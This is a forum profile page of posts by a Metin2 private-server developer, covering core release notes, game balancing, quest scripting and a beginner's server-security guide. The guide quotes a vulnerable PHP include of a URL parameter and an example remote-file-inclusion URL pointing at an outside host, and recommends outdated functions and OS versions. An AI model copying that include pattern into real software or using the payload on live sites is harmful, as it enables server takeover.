Jump to content

Vanilla

Developer
  • Posts

    471
  • Joined

  • Last visited

  • Days Won

    58
  • Feedback

    0%

Posts posted by Vanilla

  1. As I told you: Today ;) But I'm currently optimizing the new code I've written. It'll now handle - as I mentioned before - the locale-function. If there's no entry in the locale, it'll just use the english empire names.

     

    There's a bit optimization to do so the code will be as fast as possible. If the next test works out as planned then it's going to be released.

  2. @Sentox: It isn't. The server removes the invisibility, but the client binary doesn't do the same. Therefore the caracter remains invisible for you, but still it isn't invisible at all.

     

    You are free to use the gamefile in other languages too. I'm currently changing the source to use the locale-file.

    You can then simply add the 3 empire names and translate them in your locale-file:

    Shinsoo

    Chunjo

    Jinno

     

     

    • Love 1
  3. Bugfixed version:

     

    -> General <-

    * Fixed empire chat to add the right colors

    * Fixed a bug where people couldn't deal damage when riding mounts ("bug" with the vnums, now every mount is able to do damage)

    * Lowered the vnum to use horse spells from the mount down to 20000 (so every vnum higher or equal to 20000 will possibly be able to use spells)

    * global_chat now uses LOCALE to give you the option to translate the empire names. Just add them to your locale_string.txt. If there is no entry in the locale_string.txt, the server will print out an error in your syserr and proceed with the english empire names.

     

    As I told you. Fixed version will be up today.

    Invisibility bug is a binary bug. Not a game fault. I already fixed it in earlier versions.

    Invisibility holds for 5 seconds or when you move/attack. Then the effect will be stopped.

    • Love 4
  4. You're right.

     

    Mob damage needs to be adjusted. I tested the new values on the first mobs and they didn't worked so well with the less armor you have now. Then I halved the damage of every mob just globally and now I'm testing these values (they seem to work by far better now but still needs some further testing). I hope there'll be no problem with mass fights sinde you aren't able to properly negate the whole damage (see the calculations below where I show that even with 300 armor you wouldn't possibly reduce the damage to 1 dmg).

    I've made these change to achieve a damage reduction of ~ 30%- 40% just by getting the high equipment. If you still wanna build more defenses, you'd adjust your bonuses, add stones and do other things (but stones and bonuses needs to get nerfed too, they're too powerful otherwise).

     

    Additionally there shouldn't be potions to enhance the defense by 200... That'd destroy the whole purpose of armor and would give you a damage factor of 0.3333 instantly. So yeah. You see what happens if something like that still persists in the game. That's why it was of utmost importance to nerf armors and especially shields because they achieved really high values just by getting and upgrading it to +9. If you'd have (like it was possible for normal characters like assassin's too!) at least about 300 armor just by normal equipment without bonuses then you'd have a factor if 0.25 which clearly shows where your damage goes - by building nothing, just upgrading your equipment.

     

    That's the reason behind the huge armor/shiels/helmets nerf - the new way of letting armor work gives them such a high buff that it clearly needs to be tuned down to match the new system.

  5. that's also an issue of balancing problems. 100% should be 100%, no matter what. But doing that would require to lower the bonuses.

     

    Also, I've made a test with the new armor system and yeah. It really worked out and did it's job. You can clearly see a difference because I had to nerf all the armors, shields and helmets because they provided too much defense with the new system.

    So now the recaluclation is:

    1-4 base armor for lv1 armor +0 depending on your class (Warriors will get 4 while assassins only get 1 but get the dodge bonus to make sure classes are really classes!)

    so 1-4 base armor with a rate +1 per grade and +1 per armor.

     

    So let's say you have a warrior with 4 base armor on his lv1 armor+0 and then upgrade it to +9. It'll have 13 base armor then. That's a huge difference between the older armors, but it's still significant enough to make an impact. Now 1 armor is more valued than before because it won't prevent 1 damage but will reduce the damage overall by % with the new damage factor.

    So yeah, what I was trying to say is that the whole game needs to be rebalanced with this. I also mentioned before that penetration shouldn't be a % to penetrate the whole armor, but a % to negate a part of the armor with every hit.

    There are still so many issues, but it won't be a problem to fix them all. Rebalancing the game is a big goal and I think we'd do that if the community works together with giving their opinion, helping with ideas and give hints where rebalancing should be done.

     

    I appreciate every one of your comments and I hope that the rebalancing will be successful. If it is, then I'll think about making this a community project from metin2dev, so everyone can share it. It's a step into a greater game I think. We just need to break through the old walls of metin2 and maybe we'll be able to create something new. Something better.

    • Love 2
  6. Got some news for you.

     

    I'm working on a hotfixed version of 2.4.1 that'll soon come out. Expect your bugs to be fixed!

     

    Additionally I can give you a small peek into 2.5...

    I'll try to rework the CMD-system, so you'll be able to give rights to the players/gms/etc... There'll be standard values so you won't have to change the CMD if you don't want to. But this means that there'll be a shift in the permissions to create more clarity about each role.

    Also I'll maybe create new roles.

     

     

    For OnDie:

    when die begin

      etc...

    end

     

    in your quest. You can also make a check which player actually dies. Simply use the pc-commands.

    • Love 2
  7. Hello dear minions (oh how I love that one!), for my first guide I'll try to talk a little bit about securing your server. Many people know it: 3 weeks after your server started some wannabe-badass wants to break in. And maybe he'll be successful. It depends on you and just on you. Within the following text (yeah brace yourselves, this is gonna be a wall of text) I'll show you why it is so important that YOU get up your lazy ass and fix some issues. I wrote this guide when many servers got attacked, that's why I was a bit ironic in every part of the guide. If you can deal with it, you're free to read the whole guide and maybe learn something new. It's mainly for beginners, but some experienced users may get something out of it. The guide was published with minor changes long time ago in another board that's now "dead". Anyways, let's get started!

     

    Securing isn't just "lul I copied and pasted it, now my server is perfect!!!111oneoneeleventwelve". It's much more! Get that. There are many variables, software versions and things you just NEED to care about. Make yourself comfortable with your system or you'll go down. If you're prepared to spend some time reading this guide written by such an ironic idiot like me you're on the right track! *thumbs up!* First of all we need to concern about the most important things in security. The following things can give you a bad time and maybe some headaches:

    -> You used a public homepage script without checking for security breaches. In this case: Shame on you.

    -> You set up a unsecure password for your authentications. In this case: Shame on you again.

    -> You gave passwords or authentications to people who aren't trustful. In this case you know what I'm going to write here: Sh... False, in this case you're just an idiot.

    -> The software got a security issue with which people can break in

    -> You don't protect against bruteforcing your passwords etc... Most of the cases are the 4th, the 3rd and the first one. Very rarely other things come to handy for hackers. But we won't miss them, won't we? Good. You're going to get a cookie at the end of the guide. Let's just start with the most important things and how you can solve them:

     

    -> Your homepage script got security issues? <-

     

    Don't dare to answer the question. Maybe you aren't aware of it but some issues aren't visible that easy. First of all you need to get used to php at least a little bit. EVERY and yes, EVERY time a user can fill in a formular or has the chance to put something in which will be used for a query, there could be possibly a securits issue. Why? Because this method is called "SQL Injection". When you fill in a formular, you can (if it's not secured) manipulate the query by adding some things. For example you can let the query execute a command to create a new user with full admin rights. Nah, isn't that fun? No, it isn't and you shouldn't do it to others. How to fix this: Everytime a user can access a formular and his input is used to query a command for mysql you need to force him to use only valid answers. But how? It's just easy. PHP offers a function mysql_real_escape_string() You can just use this to clean the input from a user so it won't harm your mysql server. Make sure you clean EVERYONE of these inputs.

     

    The next thing are file inclusions. For this, please forgive me but I'm using wikipedia as my source. It's just a good example:

    <?php if (isset( $_GET['COLOR'] ) ){ include( $_GET['COLOR'] . '.php' ); } ?> 

    Look at this. What does this code do? If (maybe by using a formular button) 'COLOR' is set in the URL, you can simply include files for your script. BUT! Be aware of the risks from this code. Everytime you include something a user can manipulate (maybe through inputs or the url), you're going to have maybe a bad time. In this method the value of 'COLOR' is written in the url. GET's can be seen in the URL (At the end of your URL there should be a ? and then the following names with their values). Let me give you an example. If you open this script like this:

    index.php?COLOR='blue' 

    Everything goes like you want it. This is a valid color. But if you're a bad user and don't drink your milk, you're going to exploit it:

    index.php?COLOR='http://let-me-include.com/this/script'

    What happens? The server tries to include a script made by another one! If he includes his own script he can cause VERY high damage. Not only minor, but MAJOR damage. Yes. He can use ../../../ to spy your folders too. There are many things a hacker can do with this. What do we learn about this? Never let the user manipulate or influence inclusions like he wants to. YOU are the admin, not he.

     

    Let's conclude the things and lock down the topic 'homepage script' for now. These are the most important things you need to do:

    -> check your script

    -> No really, check it.

    -> Now.

    When you check your script, remember looking for these things:

    -> Always use mysql_escape_string() to deny user from executing their own queries at your homepage

    -> Never let the user type in things to include (and really.. Don't use the url to get values for including files..). Except you can make sure that you're filtering the input in such a way that users simply can not manipulate it.

     

    If you checked the homepage script and you're happy with it, you can proceed. If not, then what are you waiting for?

     

    -> Your software is out to date and got security issues <-

     

    If you want to make sure your server doesn't get exploited and you can stand attacks, you need to update and configure it. Yes, it's true. Deal with it. You can't just update every software like you want. It's not like clapping in your hands and then having everything done. You need to know WHAT software you're running. Some programs are just insecure or instable and cause your system to fail. And of course: What OS version do you use?

    If you answer me '7.1' now you'd feel a hard kick in your... I guess you figured it out... Tricked, I was about writing 'ice cream'. But never ever use outdated software! NEVER. Write it down 15 times and you'll know it. I can't tell how often I saw people using 7.1..

    If you don't know what version you're running just type in "uname -a". This will display the version. The first number tells us the branch you're using. For example '7.1' is a part of the 7th branch.

     

    If you want to upgrade your system, you'd use the built-in commands. You can try to use the latest versions, but you don't really need to get the 9-branch that fast. You can stay at the 8th branch for a while (but please, don't use the 7th branch). Use the following command to fetch the updates:

    freebsd-update upgrade -r 8.3-RELEASE

    This will fetch the updates to upgrade your system to 8.3. You can jump from the 7th branch to the 8th.

    If you're running 9.2 or better 10.0 everything seems fine.

     

    Yes, you read the wright word: SEEMS. Make sure you're running the LATEST patch-version of your system. This means you need to check for updates sometimes with the following command:

    freebsd-update fetch

    This will just fetch the updates for your version. You'll stay on the branch and the lower version of your branch, but you'll get the latest updates for your system. To install fetched upgrades you just need to type in: freebsd-update install This will give you a HUGE advantage if you're moving from 7.1 to 8.3 for example. The old verions are just obsolete. Don't use them. You can visit the freebsd homepage to get information about the latest versions.

     

    The next thing is the software. You can list your software with this command:

    pkg_info 

    or with the new pkg management tool:

    pkg info 

    This will list every package you installed and it's version. For software like php or mysql you'd use google to get a little bit more about the latest version. Sometimes things aren't that good with the newest version. Maybe some new bugs occur or php killed some old functions and destroyed your homepage with it's latest update.

     

    If you're going to update your software, you can use a pretty good package for it. It's called portupgrade. Before you're going to install it you need to learn how the ports-tree work. It's quite simple: Every programm FreeBSD accepts to the ports-tree will be added to the ports-list. It's installation files can easily be fetched and you can just install it from there. To fetch a whole new ports-tree (like when you set up your system and now want to install ports for the first time) you can use this command:

    portsnap fetch extract 

    This will fetch the latest portsnap (like a bundle of every package) and extract it to /usr/ports If you already have the ports-tree, you can simply update it with this command: portsnap fetch update Make use of it!!!

     

    But updating the ports-tree isn't enough to keep your software at the newest version. If you update your ports-tree you've updated the installation files, but not the softwares itselves. You can simply update the software AFTER YOU UPDATED THE PORTS-TREE with the program mentioned above: portupgrade!

    You can install portupgrade with this:

    cd /usr/ports/ports-mgmt/portupgrade && make install clean

    After the installation you can just type in 'rehash'.

    Now make sure you really updated the ports-tree with portsnap fetch update. Type in the following command to run portupgrade then:

    portupgrade -ai 

    It'll check every version and asks you wheter to install the newer version or not. You can simply decide yourserlf! Make sure you update your ports-tree sometimes and your software too!

     

    Also the choose of your serverfiles is important! You'd better use serverfiles that are trustful and not modified with backdoors etc.. Better use untouched serverfiles and do the stuff yourself instead of using instant tea that's poisoning you. You get the drift, right?

    Especially the gamefile is important. You'd either compile one yourself or use a gamecore that's proven to be stable und secure. I'd now advertise my gamefile and tell you hooow good it is but I won't, it's up to you to make your decisions. Just make sure you're using something that won't kill your server at last.

     

    -> You misconfigured your software. It can't stand attacks <-

     

    To secure your server even more, you need to configure it properly. Most programs offer you to configure it with a configuration file. PHP allows you to set up a php.ini-file (I won't get into this), mysql offers you the my.cnf (too) and ssh gives you the opportunity to set up sshd_conf

     

    So first of all we need to configure the basics! What is the most important thing on your server? Right! The SSH-authentication. If someone breaks in there you can say good bye to your server, maybe once and for all (if you haven't got backups and time to reinstall everything). So we need to set up ssh.

    In freeBSD there is the following file: /etc/ssh/sshd_config

    You can simply edit it. Look over it and maybe google what the settings mean at all. It's very important. The most important thing is the "protocol" setting. It's set to the old version by default. Make sure this line is in your sshd_config:

    Protocol 2

    If you're using Protocol 1, people can break down your machine within a snip of your fingers. After you edited your sshd_conf you can restart sshd by using this command:

    /etc/rc.d/sshd restart

    TRY to connect to your server via a new putty instance after you restarted ssh! If it won't work you'd better NEVER reboot your machine or close putty until you fixed this!!!

     

    The next thing is the firewall. ALWAYS make sure you got one. I recommend pf, but for this I'll write more another day. Not this time. Maybe you can use a sample script but CONFIGURE IT! You need to block every p2p port from outer access so people can't use the API to kill your metin2 server. I'll tell more about this another time and maybe add it if this topic goes well.

     

    And at last you'd consider your user restrictions. If someone is able to break in, he shouldn't be allowed to cause much damage. In the best case you'd set up another user and restrict 'root' from logging into your server. Of course you can do this for mysql too! And yes, DO IT! Connect to mysql via navicat. After that click on the Button "User" in the upper menu. You can edit, create and delete users you don't like to have. Or you can change their passwords. And of course, you can restrict them in many different ways. For example you can create a homepage user which is only allowed to insert/modify the tables it needs in the right way. Why do they need to be able to delete tables? Just give them only the rights they need. Even if someone can break in with this user, it wouldn't be that hard for you since he can't destroy your whole server.

     

    Finally there are some important things you should always have. Never let anyone work on your server unless you have to full control about it. This means, you shouldn't give access to your server (ssh AND mysql) to anyone except yourself and people you can REALLY REALLY REALLY REALLY REALLY REALLY REALLY (and take care of a big REALLY) trust and they also contribute to the project. If someone goes mad he can simply hack your server or just release the authentication data. Why do you think there are so many serverfiles released without the owners permission? And at least: always be paranoid. Never think "ohoho this won't affect me". You should consider EVERY option and let your attackers NO chance to break in. Get used to your machine, your system and your software and everything will be fine. Don't be lazy. Just be paranoid.

     

    Best Regards,

    Vanilla

    • Confused 1
    • Love 24
  8.  

    One reason is that 101.kill is deprecated long time ago. The reason behind this is that two 101.kill-trigger will intercept each other. Two kill with npc.get_race() == 101 will not intercept each other and work without any flaws.

    Additionally the double count was fixed. That caused the old 101.kill to not work anymore, but it prevents you from not triggering it two times like it was before.

    Actually, yes, it is a bug because it's not intended to break the old 101.kill. But I don't see any reason to fix it because it was buggy before and there's no reason in using 101.kill.

     

    @SirGath: It's clearly not the vanilla core's fault. I also use vanilla core and I don't have this bug.

     

    pet.is_mine() is approved to work. I'll have a further look on that.

     

    i think that isn't totally correct.

     

    Double 101.kill of course intercept each other but  execute just the fist in alphabetical order.

    I don't know if you manage npc.get_race() or it was managed already in the 40k rev but when i used 2089m rev with npc.get_race() there was a real problem with the execution of this function;indeed when you are killing a metin or a different kind of mobs all togheder, it didn't count every time the metin.

    In a killing test , on 10 metin just 2 was counted.

     

    Finally, I want to congratulate you ,even if i don't use vanilla core ( i have my own one), for your grat job.

     

    Reguards Luzzo

     

     

    I never had any problems with the npc.get_race() maybe it's already fixed in 40k, but as far as I know there are plenty servers running with 2089 and they also use the new way with npc.get_race().

    And yeah, I know that one gets executed, but people want both to be executed.

    Let's say you have a quest that's triggering when you kill the lv40 metinstone. And then you go to dt. Only one of both can be used and if the newer quest is first in the order (as you said alphabetical) you can't use the dungeon anymore.

    That's just for example.

     

    • Love 1
  9. Hey I cannot find the command for the config where i can set the rates. I need the command pls. Can somebody help ?

     

    Which rates do you want to change? Actually there's no CONFIG-option to change the rates. You can adjust the exp-table or edit the mob_proto to set exp/gold rates. And dropp rates can be adjusted at the mob_drop_item.txt, etc...^^

  10. One reason is that 101.kill is deprecated long time ago. The reason behind this is that two 101.kill-trigger will intercept each other. Two kill with npc.get_race() == 101 will not intercept each other and work without any flaws.

    Additionally the double count was fixed. That caused the old 101.kill to not work anymore, but it prevents you from not triggering it two times like it was before.

    Actually, yes, it is a bug because it's not intended to break the old 101.kill. But I don't see any reason to fix it because it was buggy before and there's no reason in using 101.kill.

     

    @SirGath: It's clearly not the vanilla core's fault. I also use vanilla core and I don't have this bug.

     

    pet.is_mine() is approved to work. I'll have a further look on that.

    • Love 1
  11. ITEM_OWNERSHIP_TIME: int
    If you drop an item, this option sets how long the item will be flagged as yours.
     
    GOLD_DROP_TIME_INTERVAL: int
    Sets how long you have to wait until you can drop gold again.
     
    item_floor_time: int
    Set the time how long a dropped item will be lying on the ground (by monsters)

    GOLD_DROP_TIME: int
    Sets the time how long dropped gold will lay on the ground until it's purged.
     
    ITEM_DROP_TIME: int
    Sets how long dropped items will lay on the ground intil it's purged.
     
    I included the last one into the first post now. It was missing, but it's already installed in the gamefile and you can use it.

     

    • Love 1
  12. use

     

    quest test begin
    
         state start begin
              when kill with npc.get_race() == 101 begin
    
                   chat("hello")
              end
         end
    end

    This is normally a bug with multiple kill triggers which is in every core.

     

    ATTR_CHANGE_LIMIT is still the same, nothing changed. It's in seconds, not minutes.

     

  13. Hey dev's,

     

    I've got a strange problem since I compiled a client binary on my own.

    Whenever I try to print a screenshot the client crashes with an error message "????" (two options, if you click the left then a few seconds later a new ?-message box appears. If I click no, then nothing happens).

    That only happens when I try to print a screenshot.

     

    Additionally the client creates an empty jpg-file (0 Bytes) in the screenshot-directory.

     

    Syserr does not provide any information regarding to this problem (Only MonsterArea-crap).

     

    ErrorLog.txt provides this:


    Module Name: path_to_my_clientUserInterface.exe
    Time Stamp: 0x537665ce - (null)
    
    Exception Type: 0xc0000005
    
    eax: 0x00513ffe    ebx: 0x00000960
    ecx: 0x00000000    edx: 0x00513ffe
    esi: 0x00513f5c    edi: 0x0000024e
    ebp: 0x0050dea0    esp: 0x0050de74
    
    0x0005b48d    path_to_my_clientUserInterface.exe
    0x00059c87    path_to_my_clientUserInterface.exe
    0x00055cfc    path_to_my_clientUserInterface.exe
    0x0004e7af    path_to_my_clientUserInterface.exe
    0x0025070b    path_to_my_clientUserInterface.exe
    0x001be296    path_to_my_clientUserInterface.exe
    0x001be603    path_to_my_clientUserInterface.exe
    0x001c0382    path_to_my_clientUserInterface.exe
    0x1e0aee36    path_to_my_clientpython27.dll
    0x1e0f2db1    path_to_my_clientpython27.dll
    0x1e0f15a4    path_to_my_clientpython27.dll
    0x1e0f3b31    path_to_my_clientpython27.dll
    0x1e0f2e21    path_to_my_clientpython27.dll
    0x1e0f15a4    path_to_my_clientpython27.dll
    0x1e0ef190    path_to_my_clientpython27.dll
    0x1e0f3b94    path_to_my_clientpython27.dll
    0x1e0f2e21    path_to_my_clientpython27.dll
    0x1e0f15a4    path_to_my_clientpython27.dll
    0x1e0ef190    path_to_my_clientpython27.dll
    0x1e0a24f9    path_to_my_clientpython27.dll
    0x1e07f726    path_to_my_clientpython27.dll
    0x1e08bcc8    path_to_my_clientpython27.dll
    0x1e07f726    path_to_my_clientpython27.dll
    0x1e0eeb29    path_to_my_clientpython27.dll
    0x1e07f970    path_to_my_clientpython27.dll
    0x00218ca7    path_to_my_clientUserInterface.exe
    0x00218886    path_to_my_clientUserInterface.exe
    0x001c7aca    path_to_my_clientUserInterface.exe
    0x001bc8bd    path_to_my_clientUserInterface.exe
    0x001397fb    path_to_my_clientUserInterface.exe
    0x0019da2e    path_to_my_clientUserInterface.exe
    0x00133ffa    path_to_my_clientUserInterface.exe
    0x0013bdff    path_to_my_clientUserInterface.exe
    0x1e0aee36    path_to_my_clientpython27.dll
    0x1e0f2db1    path_to_my_clientpython27.dll
    0x1e0f15a4    path_to_my_clientpython27.dll
    0x1e0f3b31    path_to_my_clientpython27.dll
    0x1e0f2e21    path_to_my_clientpython27.dll
    0x1e0f15a4    path_to_my_clientpython27.dll
    0x1e0ef190    path_to_my_clientpython27.dll
    0x1e0eeb6f    path_to_my_clientpython27.dll
    0x1e0f36b7    path_to_my_clientpython27.dll
    0x1e0f0921    path_to_my_clientpython27.dll
    0x1e0ef190    path_to_my_clientpython27.dll
    0x1e0f3b94    path_to_my_clientpython27.dll
    0x1e0f2e21    path_to_my_clientpython27.dll
    0x1e0f15a4    path_to_my_clientpython27.dll
    0x1e0f3b31    path_to_my_clientpython27.dll
    0x1e0f2e21    path_to_my_clientpython27.dll
    0x1e0f15a4    path_to_my_clientpython27.dll
    0x1e0f3b31    path_to_my_clientpython27.dll
    0x1e0f2e21    path_to_my_clientpython27.dll
    0x1e0f15a4    path_to_my_clientpython27.dll
    0x1e0ef190    path_to_my_clientpython27.dll
    0x1e0eeb6f    path_to_my_clientpython27.dll
    0x1e0f36b7    path_to_my_clientpython27.dll
    0x1e0f0921    path_to_my_clientpython27.dll
    0x1e0ef190    path_to_my_clientpython27.dll
    0x1e0eeb6f    path_to_my_clientpython27.dll
    0x1e11c59e    path_to_my_clientpython27.dll
    0x1e11b036    path_to_my_clientpython27.dll
    0x002196b8    path_to_my_clientUserInterface.exe
    0x00219819    path_to_my_clientUserInterface.exe
    0x00219672    path_to_my_clientUserInterface.exe
    0x0016d0f9    path_to_my_clientUserInterface.exe
    0x0016d395    path_to_my_clientUserInterface.exe
    0x0016c363    path_to_my_clientUserInterface.exe
    0x0022761f    path_to_my_clientUserInterface.exe
    0x7717919f    C:WINDOWSSYSTEM32KERNEL32.DLL
    0x7772a8cb    C:WINDOWSSYSTEM32ntdll.dll
    0x7772a8a1    C:WINDOWSSYSTEM32ntdll.dll
    

    Maybe some of you got the same error? How could you solve it?

    Any ideas?

     

    Best Regards,

    Vanilla

×
×
  • Create New...

Important Information

Terms of Use / Privacy Policy / Guidelines / We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.